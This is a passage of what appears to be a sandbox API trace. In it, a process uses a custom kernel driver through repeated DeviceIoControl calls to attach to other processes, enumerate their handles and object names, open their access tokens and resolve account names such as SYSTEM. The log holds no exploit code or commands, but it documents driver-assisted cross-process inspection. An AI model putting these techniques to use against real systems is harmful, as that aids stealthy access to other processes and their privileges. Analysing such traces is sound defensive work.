ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.498] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0122.498] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.498] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0122.499] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.499] PsAcquireProcessExitSynchronization () returned 0x0 [0122.499] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.499] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0122.499] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.499] PsReleaseProcessExitSynchronization () returned 0x2 [0122.499] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.499] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.499] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0122.499] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.499] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.499] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.499] PsAcquireProcessExitSynchronization () returned 0x0 [0122.499] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.499] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0122.499] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.499] PsReleaseProcessExitSynchronization () returned 0x2 [0122.499] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.499] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.499] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0122.499] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.499] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.499] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.500] PsAcquireProcessExitSynchronization () returned 0x0 [0122.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.500] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0122.500] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.500] PsReleaseProcessExitSynchronization () returned 0x2 [0122.500] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.500] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0122.500] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.500] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.500] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.500] PsAcquireProcessExitSynchronization () returned 0x0 [0122.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.500] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0122.500] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.500] PsReleaseProcessExitSynchronization () returned 0x2 [0122.500] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.500] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0122.500] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.500] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0122.500] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.500] PsAcquireProcessExitSynchronization () returned 0x0 [0122.500] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.500] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0122.500] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.500] PsReleaseProcessExitSynchronization () returned 0x2 [0122.500] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.500] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.500] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0122.500] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.501] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.501] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0122.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.501] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0122.501] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800005e0) returned 0x0 [0122.501] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0122.501] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005e0, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.501] ZwClose (Handle=0xffffffff800005e0) returned 0x0 [0122.501] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.501] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.501] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.502] CloseHandle (hObject=0xc8) returned 1 [0122.502] CloseHandle (hObject=0xc0) returned 1 [0122.502] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.503] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.503] PsAcquireProcessExitSynchronization () returned 0x0 [0122.503] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.503] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0122.503] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.503] PsReleaseProcessExitSynchronization () returned 0x2 [0122.503] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.503] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.503] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0122.503] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.503] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.503] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.503] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.503] PsAcquireProcessExitSynchronization () returned 0x0 [0122.503] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.503] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0122.503] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.503] PsReleaseProcessExitSynchronization () returned 0x2 [0122.503] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.503] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.503] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0122.503] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.503] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.503] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.503] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.504] PsAcquireProcessExitSynchronization () returned 0x0 [0122.504] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.504] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0122.504] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.504] PsReleaseProcessExitSynchronization () returned 0x2 [0122.504] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.504] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.504] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0122.504] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.504] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.504] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.504] PsAcquireProcessExitSynchronization () returned 0x0 [0122.504] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.504] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.504] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.504] PsReleaseProcessExitSynchronization () returned 0x2 [0122.504] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.504] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.504] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.504] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.504] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.504] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.504] PsAcquireProcessExitSynchronization () returned 0x0 [0122.504] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.504] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.504] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.504] PsReleaseProcessExitSynchronization () returned 0x2 [0122.504] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.505] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.505] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.505] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.505] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.505] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0122.505] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.505] PsAcquireProcessExitSynchronization () returned 0x0 [0122.505] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.505] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0122.505] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.505] PsReleaseProcessExitSynchronization () returned 0x2 [0122.505] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.505] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.505] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0122.505] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.505] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.505] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.505] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.505] PsAcquireProcessExitSynchronization () returned 0x0 [0122.505] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880044355d0) [0122.505] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0122.505] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.505] PsReleaseProcessExitSynchronization () returned 0x2 [0122.505] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0122.505] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.505] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0122.505] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.506] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.506] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0122.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.506] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0122.506] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800005e0) returned 0x0 [0122.506] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0122.506] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005e0, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.506] ZwClose (Handle=0xffffffff800005e0) returned 0x0 [0122.506] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.506] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.506] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.507] CloseHandle (hObject=0xc8) returned 1 [0122.507] CloseHandle (hObject=0xc0) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.508] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.508] PsAcquireProcessExitSynchronization () returned 0x0 [0122.508] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880044355d0) [0122.508] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0122.508] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.508] PsReleaseProcessExitSynchronization () returned 0x2 [0122.508] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0122.508] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: 